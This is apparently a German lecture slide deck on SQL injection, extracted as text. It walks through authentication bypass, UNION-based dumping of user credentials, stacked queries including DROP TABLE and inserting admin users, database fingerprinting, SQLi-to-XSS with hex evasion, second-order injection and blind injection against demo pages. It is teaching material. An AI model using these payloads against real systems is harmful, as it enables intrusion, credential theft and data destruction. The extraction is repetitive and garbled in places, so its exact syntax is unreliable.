Sie sind auf Seite 1von 146

Seite 2

Seite 2 https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Seite 3

Verbreitungswege

HTTP-POST

HTTP-GET

Cookie

Hidden-Fields

HTTP-Header

Netzwerk-Header

Seite 4

Aufbau von Injections

Grundregeln

S e i t e 4 Aufbau von Injections Grundregeln
S e i t e 4 Aufbau von Injections Grundregeln

Seite 5

Aufbau von Injections

Grundregeln

Vorgehen bei Zeichenketten:

Seite 5 Aufbau von Injections Grundregeln Vorgehen bei Zeichenketten:
Seite 5 Aufbau von Injections Grundregeln Vorgehen bei Zeichenketten:

Seite 6

Aufbau von Injections

Grundregeln

Vorgehen bei Zeichenketten:

Seite 6 Aufbau von Injections Grundregeln Vorgehen bei Zeichenketten: Vorgehen bei numerischen Werten:

Vorgehen bei numerischen Werten:

Seite 6 Aufbau von Injections Grundregeln Vorgehen bei Zeichenketten: Vorgehen bei numerischen Werten:

Seite 7

Aufbau von Injections

Grundregeln

Vorgehen bei Zeichenketten:

SELECT field FROM table WHERE field1=1’ or field1=1

Vorgehen bei numerischen Werten:

bei Zeichenketten: SELECT field FROM table WHERE field1= ’ 1 ’ or field1= ’ 1 ’

Seite 8

Aufbau von Injections

Grundregeln

Vorgehen bei Zeichenketten:

SELECT field FROM table WHERE field1=1or 1=1--’ or field1=1

Vorgehen bei numerischen Werten:

SELECT field FROM table WHERE field1= ’ 1 ’ or 1=1-- ’ or field1= ’ 1

Seite 9

Aufbau von Injections

Grundregeln

Vorgehen bei Zeichenketten:

SELECT field FROM table WHERE field1=1or 1=1--’ or field1=1

Vorgehen bei numerischen Werten:

SELECT field FROM table WHERE field1= ’ 1 ’ or 1=1-- ’ or field1= ’ 1

Seite 10

Aufbau von Injections

Grundregeln

Vorgehen bei Zeichenketten:

SELECT field FROM table WHERE field1=1or 1= 1’ or field1=1

Vorgehen bei numerischen Werten:

FROM table WHERE field1= ’ 1 ’ or ’ 1 ’ = ’ 1 ’ or

Seite 11

Aufbau von Injections

Grundregeln

Vorgehen bei Zeichenketten:

SELECT field FROM table WHERE field1=1or 1= 1’ or field1=1

Vorgehen bei numerischen Werten:

SELECT field FROM table WHERE field1=1

Seite 12

Aufbau von Injections

Grundregeln

Vorgehen bei Zeichenketten:

SELECT field FROM table WHERE field1=1or 1= 1’ or field1=1

Vorgehen bei numerischen Werten:

SELECT field FROM table WHERE field1=1 and field2=xyz

Seite 13

login.php

S e i t e 1 3 login.php

Seite 14

login.php

S e i t e 1 4 login.php

Seite 15

login.php

Users-Table mit 5 Spalten

S e i t e 1 5 login.php Users-Table mit 5 Spalten

Seite 16

Authentication Bypass in login.php

Durch Verwendung einer Tautologie

e 1 6 Authentication Bypass in login.php Durch Verwendung einer Tautologie • Gibt alle Zeilen einer

Gibt alle Zeilen einer Tabelle zurück

Seite 17

Authentication Bypass in login.php

Durch Verwendung einer Tautologie

Username:’ or 1=1-- und ein {LEERZEICHEN!} Password: irrelevant

Gibt alle Zeilen einer Tabelle zurück

Seite 18

Authentication Bypass in login.php

Durch Verwendung einer Tautologie

Username:’ or 1=1-- und ein {LEERZEICHEN!} Password: irrelevant

SELECT *

FROM users

WHERE username = ’$_POST[0]AND password = $_POST[1]’;

Gibt alle Zeilen einer Tabelle zurück

Seite 19

Authentication Bypass in login.php

Durch Verwendung einer Tautologie

Username:’ or 1=1-- und ein {LEERZEICHEN!} Password: irrelevant

SELECT *

FROM users

WHERE username = ’$_POST[0]AND password = $_POST[1]’;

/*Resultierende Abfrage*/ SELECT *

FROM users

WHERE username = ’or 1=1-- AND password = ’irrelevant’;

Gibt alle Zeilen einer Tabelle zurück

Seite 20

Authentication Bypass in login.php

Durch Verwendung einer Tautologie

Username:’ or 1=1-- und ein {LEERZEICHEN!} Password: irrelevant

SELECT *

FROM users

WHERE username = ’$_POST[0]AND password = $_POST[1]’;

/*Resultierende Abfrage*/ SELECT *

FROM users

WHERE username = ’or 1=1-- AND password = ’irrelevant’;

Gibt alle Zeilen einer Tabelle zurück

Seite 21

Authentication Bypass in login.php

Durch Verwendung einer Tautologie

Username:’ or 1=1-- und ein {LEERZEICHEN!} Password: irrelevant

SELECT *

FROM users

WHERE username = ’$_POST[0]AND password = $_POST[1]’;

/*Resultierende Abfrage*/ SELECT *

FROM users

WHERE username = ’or 1=1-- AND password = ’irrelevant’;

Gibt alle Zeilen einer Tabelle zurück

→Anmeldung als erster Benutzer in der Tabelle

Seite 22

Authentication Bypass in login.php

Nur durch einen Kommentar

Username:admin--

Password:irrelevant

Anmeldung direkt als Administrator

Seite 23

Authentication Bypass in login.php

Nur durch einen Kommentar

Username:admin--

Password:irrelevant

SELECT * FROM users

WHERE username = ’$_POST[0]AND password = $_POST[1]’;

Anmeldung direkt als Administrator

Seite 24

Authentication Bypass in login.php

Nur durch einen Kommentar

Username:admin--

Password:irrelevant

SELECT * FROM users

WHERE username = ’$_POST[0]AND password = $_POST[1]’;

/*Resultierende Abfrage*/ SELECT * FROM users

WHERE username = ’admin’-- AND password = ’irrelevant’;

Anmeldung direkt als Administrator

Seite 25

Authentication Bypass in login.php

Nur durch einen Kommentar

Username:admin--

Password:irrelevant

SELECT * FROM users

WHERE username = ’$_POST[0]AND password = $_POST[1]’;

/*Resultierende Abfrage*/ SELECT * FROM users

WHERE username = ’admin’-- AND password = ’irrelevant’;

Anmeldung direkt als Administrator

Seite 26

Lokalisierung von SQL-Injections

Error Based

Abschicken von Metazeichen:

#

/*

#

Seite 27

Lokalisierung von SQL-Injections

Error Based

Abschicken von Metazeichen:

#

/*

#

i t e 2 7 Lokalisierung von SQL-Injections Error Based • Abschicken von Metazeichen: • •

Seite 28

Lokalisierung von SQL-Injections

Error Based

Abschicken von Metazeichen:

#

/*

#

• Abschicken von Metazeichen: • • • • ‘ # /* # #1064 - You have

#1064 - You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server version for

the right syntax to use near 'irrelevant'' at line 3

Seite 29

Lokalisierung von SQL-Injections

Error Based

Abschicken von Metazeichen:

#

/*

#

• Abschicken von Metazeichen: • • • • ‘ # /* # #1064 - You have

#1064 - You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server version for

the right syntax to use near 'irrelevant'' at line 3

Nachteil: Fehler werden geloggt.

Seite 30

Lokalisierung von SQL-Injections

Unterschiedliche Manifestierung von Fehlern

Der Error ist zu Debugging Zwecken in der Webseite versteckt.

Weiterleitung auf eine andere Webseite.

HTTP Status Code 500 (Internal Server Error)

Die Applikation behandelt das Metazeichen korrekt und zeigt ein

leeres Ergebnis oder eine generische Fehlerseite an.

Die Webseite stellt sich tod.

Der Inhalt der Webseite unterscheidet sich.

Seite 31

Lokalisierung von SQL-Injections

Inhaltsbasierte Lokalisierung in news.php

e i t e 3 1 Lokalisierung von SQL-Injections Inhaltsbasierte Lokalisierung in news.php → Keine Errors

→ Keine Errors in den Logs

Seite 32

Lokalisierung von SQL-Injections

Inhaltsbasierte Lokalisierung in news.php

von SQL-Injections Inhaltsbasierte Lokalisierung in news.php URL1: news.php?category=2 and 1=1 URL2:

URL1: news.php?category=2 and 1=1

URL2: news.php?category=2 and 1=0

→ Keine Errors in den Logs

Seite 33

Lokalisierung von SQL-Injections

Inhaltsbasierte Lokalisierung in news.php

von SQL-Injections Inhaltsbasierte Lokalisierung in news.php URL1: news.php?category=2 and 1=1 URL2:

URL1: news.php?category=2 and 1=1

URL2: news.php?category=2 and 1=0

→ Keine Errors in den Logs

//news wird angezeigt

Seite 34

Lokalisierung von SQL-Injections

Inhaltsbasierte Lokalisierung in news.php

von SQL-Injections Inhaltsbasierte Lokalisierung in news.php URL1: news.php?category=2 and 1=1 URL2:

URL1: news.php?category=2 and 1=1

URL2: news.php?category=2 and 1=0

→ Keine Errors in den Logs

//news wird angezeigt //keine news wird angezeigt

Seite 35

Lokalisierung von SQL-Injections

Weitere Tests

/*Benutzereingaben*/

URL1: news.php?category=1+5

URL2: news.php?category=2+4

URL3: news.php?category=3+3 URL4: news.php?category=6 and 1=1 URL5: news.php?category=5+(SELECT 1)

SELECT field FROM table WHERE field=’admin

SELECT field FROM table WHERE field=’ad’ ’min’

Seite 36

Der Union-Operator

SELECT field1,field2 FROM table1

Union

SELECT field1,field2

FROM table2

All

Seite 37

Der Union-Operator

SELECT field1,field2 FROM table1

Union

SELECT field1,field2

FROM table2

All

1 Union SELECT field1,field2 FROM table 2 All +--------+--------+ | field1 | field2| +--------+--------+

+--------+--------+ | field1 | field2| +--------+--------+

| val

|

val

|

| val

|

val

|

| val

|

val

|

| val

|

val

|

| val

|

val

|

+--------+--------+

Seite 38

Der Union-Operator

SELECT field1,field2 FROM table1

Union

SELECT field1,field2

FROM table2

All

Spaltenanzahl der SELECTs muss übereinstimmen

2 All Spaltenanzahl der SELECTs muss übereinstimmen +--------+--------+ | field1 | field2| +--------+--------+

+--------+--------+ | field1 | field2| +--------+--------+

| val

|

val

|

| val

|

val

|

| val

|

val

|

| val

|

val

|

| val

|

val

|

+--------+--------+

Seite 39

Der Union-Operator

SELECT field1,field2 FROM table1 Union

SELECT field1,field2

FROM table2

Spaltenanzahl der SELECTs muss übereinstimmen

table 2 Spaltenanzahl der SELECTs muss übereinstimmen +--------+--------+ | field1 | field2| +--------+--------+

+--------+--------+ | field1 | field2|

+--------+--------+

|

+--------+--------+

val

|

val

|

Seite 40

Der Union-Operator

SELECT field1,field2 FROM table1

Union

SELECT field1,field2

FROM table2

Distinct

Spaltenanzahl der SELECTs muss übereinstimmen

Distinct Spaltenanzahl der SELECTs muss übereinstimmen +--------+--------+ | field1 | field2| +--------+--------+

+--------+--------+ | field1 | field2|

+--------+--------+

|

+--------+--------+

val

|

val

|

Seite 41

Union Injections in news.php

URL: news.php?category=2 UNION ALL SELECT username, password FROM users

Seite 42

Union Injections in news.php

URL: news.php?category=2 UNION ALL SELECT username, password FROM users

S e i t e 4 2 Union Injections in news.php URL: news.php?category=2 UNION ALL SELECT

Seite 43

Union Injections in news.php

URL: news.php?category=2 UNION ALL SELECT username, password FROM users

/*Resultierende Abfrage*/ SELECT *

FROM ‘news‘

WHERE category=2

UNION ALL

SELECT username, password

FROM users

Seite 44

Union Injections in news.php

URL: news.php?category=2 UNION ALL SELECT username, password FROM users

/*Resultierende Abfrage*/ SELECT *

FROM ‘news‘

WHERE category=2

UNION ALL

SELECT username, password

FROM users

/*#1222 - The used SELECT statements have a different number of columns*/’ AND password = ’irrelevant’;

Seite 45

Union Injections in news.php

Spaltenanzahl durch Ausprobieren ermitteln

URL: news.php?category=2 UNION ALL SELECT username, password,null FROM users

/*Resultierende Abfrage*/ SELECT *

FROM ‘news‘

WHERE category=2

UNION ALL

SELECT username, password, null

FROM users

Seite 46

Union Injections in news.php

Ausführung des Beispiels mit 3 Spalten

URL: news.php?category=2 UNION ALL SELECT username, password,’1’ FROM users

/*Resultset*/

+--------+-----------------+------------+

| id

+--------+-----------------+------------+

| 1

+--------+-----------------+------------+

| admin | secret

+--------+-----------------+------------+

| user1 | passwd

+--------+-----------------+------------+

| text

| category |

|

|

|

| schlagzeile1 | 2

| 1

| 1

Seite 47

Union Injections in news.php

Ausführung des Beispiels mit 3 Spalten

URL: news.php?category=2 UNION ALL SELECT username, password,’1’ FROM users

/*Resultset*/

+--------+-----------------+------------+ | id | text | category | +--------+-----------------+------------+ | 1 |
+--------+-----------------+------------+
|
id
| text
| category |
+--------+-----------------+------------+
| 1
| schlagzeile1 | 2
|
+--------+-----------------+------------+
| admin | secret
| 1
|
+--------+-----------------+------------+
|
user1 | passwd
| 1
|
+--------+-----------------+------------+

Seite 48

Union Injections in news.php

Unterdrückung des ersten Queries

URL: news.php?category=2 AND 1=0 UNION ALL SELECT username, password,’1’ FROM users

/*Resultset*/

+--------+-----------------+------------+

| id

+--------+-----------------+------------+

| admin | secret

+--------+-----------------+------------+

| user1 | passwd

+--------+-----------------+------------+

| text

| category |

| 1

| 1

|

|

Seite 49

Union Injections in news.php

Spaltenanzahl mit GROUP BY ermitteln

URL1: news.php?category=2 GROUP BY 1 /*no error*/

URL2: news.php?category=2 GROUP BY 2 /*no error*/

URL3: news.php?category=2 GROUP BY 3 /*no error*/ URL4: news.php?category=2 GROUP BY 4

/*#1054 - Unknown column ’4’ in group statement’*/

Die Query hat 3 Spalten.

Seite 50

Stacked Queries

S e i t e 5 0 Stacked Queries

Seite 51

Stacked Queries

Vorgehen bei numerischen Werten:

SELECT foo FROM bar; SELECT foo2 FROM bar2;

Vorgehen bei Zeichenketten:

Queries Vorgehen bei numerischen Werten: SELECT foo FROM bar ; SELECT foo2 FROM bar2; Vorgehen bei

Seite 52

Stacked Queries

Vorgehen bei numerischen Werten:

SELECT foo FROM bar; SELECT foo2 FROM bar2;

Vorgehen bei Zeichenketten:

SELECT foo FROM bar

WHERE foo=’string’; SELECT foo2 FROM bar2;#

Seite 53

Stacked Queries

Vorgehen bei numerischen Werten:

SELECT foo FROM bar; SELECT foo2 FROM bar2;

Vorgehen bei Zeichenketten:

SELECT foo FROM bar

WHERE foo=’string’; SELECT foo2 FROM bar2;#

Werden auch Batched Queries genannt.

Funktionieren mit MySQL + PHP nicht:

Seite 54

Stacked Queries

Vorgehen bei numerischen Werten:

SELECT foo FROM bar; SELECT foo2 FROM bar2;

Vorgehen bei Zeichenketten:

SELECT foo FROM bar

WHERE foo=’string’; SELECT foo2 FROM bar2;#

Werden auch Batched Queries genannt.

Funktionieren mit MySQL + PHP nicht:

 
 

ASP

ASP.NET

PHP

MySQL

Nein

Ja

Nein

Postgres

Ja

Ja

Ja

SQL Server

Ja

Ja

Ja

Seite 55

Stacked Queries in login.php

Username:’;DROP TABLE users;/* Password:

/*Resultierende Abfrage*/ SELECT *

FROM users

WHERE username = ’’;DROP TABLE users;/*’ AND password = ’’;

Seite 56

Stacked Queries in login.php

Username:’;DROP TABLE users;/* Password:

/*Resultierende Abfrage*/ SELECT *

FROM users

WHERE username = ’’;DROP TABLE users;/*’ AND password = ’’;

Username:’;INSERT INTO users VALUES(null,’user’,’pwd’,

’admin@localhost’,’1’);/*

Password:

/*Resultierende Abfrage*/ SELECT * FROM users WHERE username = ’’;INSERT INTO users VALUES(null,’user’,’pwd’, ’admin@localhost’,’1’);/*’ AND password = ’’;

Seite 57

Informationsbeschaffung über die Datenbank

Ermitteln welche Datenbank eingesetzt wird

S e i t e 5 7 Informationsbeschaffung über die Datenbank Ermitteln welche Datenbank eingesetzt wird

Seite 58

Informationsbeschaffung über die Datenbank

Ermitteln welche Datenbank eingesetzt wird

Über spezifische Fehlermeldungen:

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Seite 59

Informationsbeschaffung über die Datenbank

Ermitteln welche Datenbank eingesetzt wird

Über spezifische Fehlermeldungen:

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Blind Finger Printing:

Datenbankserver

Query

MySQL

SQL Server

Oracle

SELECT 'some' 'string' SELECT CONCAT('some','string')

SELECT 'some' + 'string'

SELECT 'some' || 'string' SELECT CONCAT('some','string')

Seite 60

Informationsbeschaffung über die Datenbank

Ermitteln welche Datenbank eingesetzt wird

Über spezifische Fehlermeldungen:

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Blind Finger Printing:

Datenbankserver

Query

MySQL

SQL Server

Oracle

Banner Grabbing in MySQL:

SELECT version() SELECT @@version

SELECT 'some' 'string' SELECT CONCAT('some','string')

SELECT 'some' + 'string'

SELECT 'some' || 'string' SELECT CONCAT('some','string')

Seite 61

Informationsbeschaffung über die Datenbank

Weitere nützliche Funktionen (1/2)

/*************************************/

/** Session-User bestimmen

/*************************************/

**/

/*MySQL-Benutzer bestimmen, der die Anfrage ausführt + Server Hostname*/

SELECT USER();

SELECT CURRENT_USER();

/*Result: root@localhost*/

Seite 62

Informationsbeschaffung über die Datenbank

Weitere nützliche Funktionen (1/2)

/*************************************/

/** Session-User bestimmen

/*************************************/

**/

/*MySQL-Benutzer bestimmen, der die Anfrage ausführt + Server Hostname*/

SELECT USER();

SELECT CURRENT_USER();

/*Result: root@localhost*/

/*Auflistung der MySQL Benutzernamen und Passwörter (Adminrechte benötigt)*/

SELECT User,Password FROM mysql.user;

/*Passwörter sind ab MySQL > 4.1 als 41-Character SHA1 Hash gespeichert.

Zum Zurückrechnen kann John the Ripper oder Cain & Abel eingesetzt werden.*/

Seite 63

Informationsbeschaffung über die Datenbank

Weitere nützliche Funktionen (2/2)

/*Bestimmen welche Rechte ein User hat*/ SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;

Seite 64

Informationsbeschaffung über die Datenbank

Weitere nützliche Funktionen (2/2)

/*Bestimmen welche Rechte ein User hat*/ SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;

/*Gibt die aktuelle Datenbank zurueck*/ SELECT DATABASE(); /*Auflistung aller Datenbanken (Adminrechte benoetigt)*/ SELECT distinct(db) FROM mysql.db;

Seite 65

Informationsbeschaffung über die Datenbank

Auflistung des kompletten Datenbankschemas

/*Auflistung aller Datenbanken, Tabellen und Spalten ab MySQL-Version > 5.0*/

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema !=’information_schemaAND table_schema != ’mysql

Seite 66

Informationsbeschaffung über die Datenbank

Auflistung des kompletten Datenbankschemas

/*Auflistung aller Datenbanken, Tabellen und Spalten ab MySQL-Version > 5.0*/

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema !=’information_schemaAND table_schema != ’mysql

/*Gekürztes Resultset*/

+--------------+-------------+---------------+

| table_schema | table_name | column_name |

+--------------+-------------+---------------+

|

|

|

|

|

itsec

| news

| id

|

|

itsec

| news

| text

|

| itsec

| news

| category

|

|

itsec

| users

| id

|

|

|

|

|

+--------------+--------------+--------------+*/

Seite 67

Informationsbeschaffung über die Datenbank

Injection mit einem Union-Statement

S e i t e 6 7 Informationsbeschaffung über die Datenbank Injection mit einem Union-Statement

Seite 68

Informationsbeschaffung über die Datenbank

Injection mit einem Union-Statement

URL: news.php?category=2 and 1=0 UNION ALL SELECT 1,VERSION(),1

/*Resultierende Abfrage*/ SELECT * FROM ‘news‘ WHERE category=2 and 1=0 UNION ALL SELECT 1,VERSION(),1

SQL-Injections zur Verbreitung von XSS

Seite 70

SQL Injection XSS

Seite 71

SQL Injection XSS

URL1: news.php?category=2 UNION SELECT 1,2,’<script>alert("sixss") </script>’

/*Resultierende Abfrage1*/

SELECT * FROM ‘news‘

WHERE category=2 UNION SELECT 1,2,’<script>alert("sixss")</script>’

Seite 72

SQL Injection XSS

URL1: news.php?category=2 UNION SELECT 1,2,’<script>alert("sixss") </script>’

/*Resultierende Abfrage1*/

SELECT * FROM ‘news‘

WHERE category=2 UNION SELECT 1,2,’<script>alert("sixss")</script>’

Evasion von einfachen Filtern:

Seite 73

SQL Injection XSS

URL1: news.php?category=2 UNION SELECT 1,2,’<script>alert("sixss") </script>’

/*Resultierende Abfrage1*/

SELECT * FROM ‘news‘

WHERE category=2 UNION SELECT 1,2,’<script>alert("sixss")</script>’

Evasion von einfachen Filtern:

URL2: news.php?category=2 UNION SELECT 1,2,0x273C7363726970743E616

C6572742822736978737322293B3C2F7363726970743E27

Seite 74

SQL Injection XSS

URL1: news.php?category=2 UNION SELECT 1,2,’<script>alert("sixss") </script>’

/*Resultierende Abfrage1*/

SELECT * FROM ‘news‘

WHERE category=2 UNION SELECT 1,2,’<script>alert("sixss")</script>’

Evasion von einfachen Filtern:

URL2: news.php?category=2 UNION SELECT 1,2,0x273C7363726970743E616

C6572742822736978737322293B3C2F7363726970743E27

Für SIXSS eignen sich INSERT- und UPDATE-Statements besser.

Seite 75

Rückblick

was bisher besprochen wurde

Injections lokalisieren

Database Fingerprinting / Datenbankschema

Tautologien

Authentication Bypass

Stacked Queries

SQL Injection XSS

Seite 76

Rückblick

was bisher besprochen wurde

Injections lokalisieren

Database Fingerprinting / Datenbankschema

Tautologien

Authentication Bypass

Stacked Queries

SQL Injection XSS

• Tautologien • Authentication Bypass • Stacked Queries • SQL Injection XSS Basic SQL-Injections

Basic SQL-Injections

Seite 77

Advanced SQL-Injections

Second Order Injections

Blind SQL Injections

Filesystem Access

Operating System Access

Seite 78

Advanced SQL-Injections

2nd Order Injections anhand eines Beispiels

Seite 79

Advanced SQL-Injections

2nd Order Injections anhand eines Beispiels

1. Anmeldung auf einer fiktiven Webseite mit:

Seite 80

Advanced SQL-Injections

2nd Order Injections anhand eines Beispiels

1. Anmeldung auf einer fiktiven Webseite mit:

Username: admin’-- und Passwort: pwd

Seite 81

Advanced SQL-Injections

2nd Order Injections anhand eines Beispiels

1. Anmeldung auf einer fiktiven Webseite mit:

Username: admin’-- und Passwort: pwd

INSERT INTO ‘users‘ VALUES (null,’admin\-- ’,’pwd’,’malory@gmx.de’,0);

Seite 82

Advanced SQL-Injections

2nd Order Injections anhand eines Beispiels

1. Anmeldung auf einer fiktiven Webseite mit:

Username: admin’-- und Passwort: pwd

INSERT INTO ‘users‘ VALUES (null,’admin\-- ’,’pwd’,’malory@gmx.de’,0);

-- und Passwort: pwd INSERT INTO ‘users‘ VALUES (null,’admin \ ’ -- ’,’pwd’,’malory@gmx.de’,0);

Seite 83

Advanced SQL-Injections

2nd Order Injections anhand eines Beispiels

1. Anmeldung auf einer fiktiven Webseite mit:

Username: admin’-- und Passwort: pwd

INSERT INTO ‘users‘ VALUES (null,’admin\-- ’,’pwd’,’malory@gmx.de’,0);

-- und Passwort: pwd INSERT INTO ‘users‘ VALUES (null,’admin \ ’ -- ’,’pwd’,’malory@gmx.de’,0);

2. Auf Webseite könnte Option zur Passwortänderung existieren:

$queryString = "UPDATE users SET password=’" . newPassword . "’ " .

"WHERE userName=’" . userName . "’ AND " .

"password=’" . oldPassword . "’";

Seite 84

Advanced SQL-Injections

2nd Order Injections anhand eines Beispiels

1. Anmeldung auf einer fiktiven Webseite mit:

Username: admin’-- und Passwort: pwd

INSERT INTO ‘users‘ VALUES (null,’admin\-- ’,’pwd’,’malory@gmx.de’,0);

-- und Passwort: pwd INSERT INTO ‘users‘ VALUES (null,’admin \ ’ -- ’,’pwd’,’malory@gmx.de’,0);

2. Auf Webseite könnte Option zur Passwortänderung existieren:

$queryString = "UPDATE users SET password=’" . newPassword . "’ " .

"WHERE userName=’" . userName . "’ AND " .

"password=’" . oldPassword . "’";

→ Resultierende Query:

UPDATE users SET password=’gotcha’ WHERE userName=’admin’-- ’ AND password=’oldpassword’

Seite 85

Advanced SQL-Injections

2nd Order Injections anhand eines Beispiels

1. Anmeldung auf einer fiktiven Webseite mit:

Username: admin’-- und Passwort: pwd

INSERT INTO ‘users‘ VALUES (null,’admin\-- ’,’pwd’,’malory@gmx.de’,0);

\ ’ -- ’,’pwd’,’malory@gmx.de’,0); 2. Auf Webseite könnte Option zur Passwortänderung

2. Auf Webseite könnte Option zur Passwortänderung existieren:

$queryString = "UPDATE users SET password=’" . newPassword . "’ " .

"WHERE userName=’" . userName . "’ AND " .

"password=’" . oldPassword . "’";

→ Resultierende Query:

UPDATE users SET password=’gotcha’ WHERE userName=’admin’-- ’ AND password=’oldpassword’

Seite 86

Advanced SQL-Injections

2nd Order Injections anhand eines Beispiels

1. Anmeldung auf einer fiktiven Webseite mit:

Username: admin’-- und Passwort: pwd

INSERT INTO ‘users‘ VALUES (null,’admin\-- ’,’pwd’,’malory@gmx.de’,0);

\ ’ -- ’,’pwd’,’malory@gmx.de’,0); 2. Auf Webseite könnte Option zur Passwortänderung

2. Auf Webseite könnte Option zur Passwortänderung existieren:

$queryString = "UPDATE users SET password=’" . newPassword . "’ " .

"WHERE userName=’" . userName . "’ AND " .

"password=’" . oldPassword . "’";

→ Resultierende Query:

UPDATE users SET password=’gotcha’ WHERE userName=’admin’-- ’ AND password=’oldpassword’

Seite 87

Advanced SQL-Injections

Blind SQL Injections

S e i t e 8 7 Advanced SQL-Injections Blind SQL Injections

Seite 88

Advanced SQL-Injections

Blind SQL Injections

No Errors/Feedback/Union available

Seite 89

Advanced SQL-Injections

Blind SQL Injections

Auch genannt TRUE/False Injections.

Extrahieren pro Anfrage 1 Bit an Information → müssen automatisiert sein

No Errors/Feedback/Union available

Seite 90

Advanced SQL-Injections

Blind SQL Injections

Auch genannt TRUE/False Injections.

Extrahieren pro Anfrage 1 Bit an Information → müssen automatisiert sein

Zeitbasierte Blind Injection

No Errors/Feedback/Union available

Seite 91

Advanced SQL-Injections

Blind SQL Injections

Auch genannt TRUE/False Injections.

Extrahieren pro Anfrage 1 Bit an Information → müssen automatisiert sein

Zeitbasierte Blind Injection

Fehlerbasierte Blind Injection

No Errors/Feedback/Union available

Seite 92

Advanced SQL-Injections

Blind SQL Injections

Auch genannt TRUE/False Injections.

Extrahieren pro Anfrage 1 Bit an Information → müssen automatisiert sein

Zeitbasierte Blind Injection

Fehlerbasierte Blind Injection

Inhaltsbezogene Blind Injection

No Errors/Feedback/Union available

Seite 93

Blind SQL Injection in news.php

Schema:

Zeitbasiert

IF (Bedingung = True) THEN SLEEP(Time) ELSE y

Seite 94

Blind SQL Injection in news.php

Zeitbasiert

Schema:

IF (Bedingung = True) THEN SLEEP(Time) ELSE y

Prüfe ob MySQL-User root heißt:

Seite 95

Blind SQL Injection in news.php

Zeitbasiert

Schema:

IF (Bedingung = True) THEN SLEEP(Time) ELSE y

Prüfe ob MySQL-User root heißt:

URL: news.php?category=2 UNION SELECT IF(SUBSTRING(USER(),1,4)=’root’,SLEEP(5),1),’2’,’3’

Seite 96

Blind SQL Injection in news.php

Zeitbasiert

Schema:

IF (Bedingung = True) THEN SLEEP(Time) ELSE y

Prüfe ob MySQL-User root heißt:

URL: news.php?category=2 UNION SELECT IF(SUBSTRING(USER(),1,4)=’root’,SLEEP(5),1),’2’,’3’

/*Resultierende Query*/ SELECT * FROM newsWHERE category=2 UNION SELECT IF(SUBSTRING(USER(),1,4)=’root’,SLEEP(5),1),’2’,’3’

Seite 97

Blind SQL Injection in news.php

Schema:

Fehlerbasiert

IF (Bedingung = True) THEN y ELSE Provoziere SQL-Fehler

Seite 98

Blind SQL Injection in news.php

Fehlerbasiert

Schema:

IF (Bedingung = True) THEN y ELSE Provoziere SQL-Fehler

Prüfe ob MySQL-Version >5 ist:

• Schema: IF (Bedingung = True) THEN y ELSE Provoziere SQL-Fehler • Prüfe ob MySQL-Version >5

Seite 99

Blind SQL Injection in news.php

Fehlerbasiert

Schema:

IF (Bedingung = True) THEN y ELSE Provoziere SQL-Fehler

Prüfe ob MySQL-Version >5 ist:

SELECT ’match’ REGEXP IF (SUBSTR(@@version,1,1)=5,’match’,’’)

Seite 100 Blind SQL Injection in news.php

Schema:

Fehlerbasiert

IF (Bedingung = True) THEN y ELSE Provoziere SQL-Fehler

Prüfe ob MySQL-Version >5 ist:

SELECT ’match’ REGEXP IF (SUBSTR(@@version,1,1)=5,’match’,’’)

Wenn >5 dann vergleicht REGEX ’match’ mit ’match’ → True

Seite 101 Blind SQL Injection in news.php

Schema:

Fehlerbasiert

IF (Bedingung = True) THEN y ELSE Provoziere SQL-Fehler

Prüfe ob MySQL-Version >5 ist:

SELECT ’match’ REGEXP IF (SUBSTR(@@version,1,1)=5,’match’,’’)

Wenn >5 dann vergleicht REGEX ’match’ mit ’match’ → True

Ansonsten vergleicht REGEX ’match’ mit ’ ’ → SQL-Error no pattern supplied

Seite 102 Blind SQL Injection in news.php

Schema:

Fehlerbasiert

IF (Bedingung = True) THEN y ELSE Provoziere SQL-Fehler

Prüfe ob MySQL-Version >5 ist:

SELECT ’match’ REGEXP IF (SUBSTR(@@version,1,1)=5,’match’,’’)

Wenn >5 dann vergleicht REGEX ’match’ mit ’match’ → True

Ansonsten vergleicht REGEX ’match’ mit ’ ’ → SQL-Error no pattern supplied

/*Resultierende Query*/ SELECT * FROM newsWHERE category=IF((SELECT ’match’ REGEXP

IF(SUBSTR(@@version,1,1)=5,’match’,’’)),2,’egal’)

Seite 103 Blind SQL Injection

Schema:

Inhaltsbasiert

IF (Bedingung = True) THEN Output1 ELSE Output2

Seite 104 Blind SQL Injection in news.php

Inhaltsbasiert

• Extrahiert einen „Benutzernamen“ der File-Rechte hat:

1 0 4 Blind SQL Injection in news.php Inhaltsbasiert • Extrahiert einen „Benutzernamen“ der File -Rechte

Seite 105 Blind SQL Injection in news.php

Inhaltsbasiert

• Extrahiert einen „Benutzernamen“ der File-Rechte hat:

var username = SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=’File’ Limit 1

Seite 106 Blind SQL Injection in news.php

Inhaltsbasiert

• Extrahiert einen „Benutzernamen“ der File-Rechte hat:

var username = SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=’File’ Limit 1

var asciicode = SELECT ascii(substring(username,1,1))

Seite 107 Blind SQL Injection in news.php

Inhaltsbasiert

• Extrahiert einen „Benutzernamen“ der File-Rechte hat:

var username = SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=’File’ Limit 1

var asciicode = SELECT ascii(substring(username,1,1))

URL = news.php?category=2 and asciicode > 77

Seite 108 Blind SQL Injection in news.php

Inhaltsbasiert

• Extrahiert einen „Benutzernamen“ der File-Rechte hat:

var username = SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=’File’ Limit 1

var asciicode = SELECT ascii(substring(username,1,1))

Limit 1 var asciicode = SELECT ascii(substring( username ,1,1)) URL = news.php?category=2 and asciicode > 77

URL = news.php?category=2 and asciicode > 77

Seite 109 Blind SQL Injection in news.php

Inhaltsbasiert

• Extrahiert einen „Benutzernamen“ der File-Rechte hat:

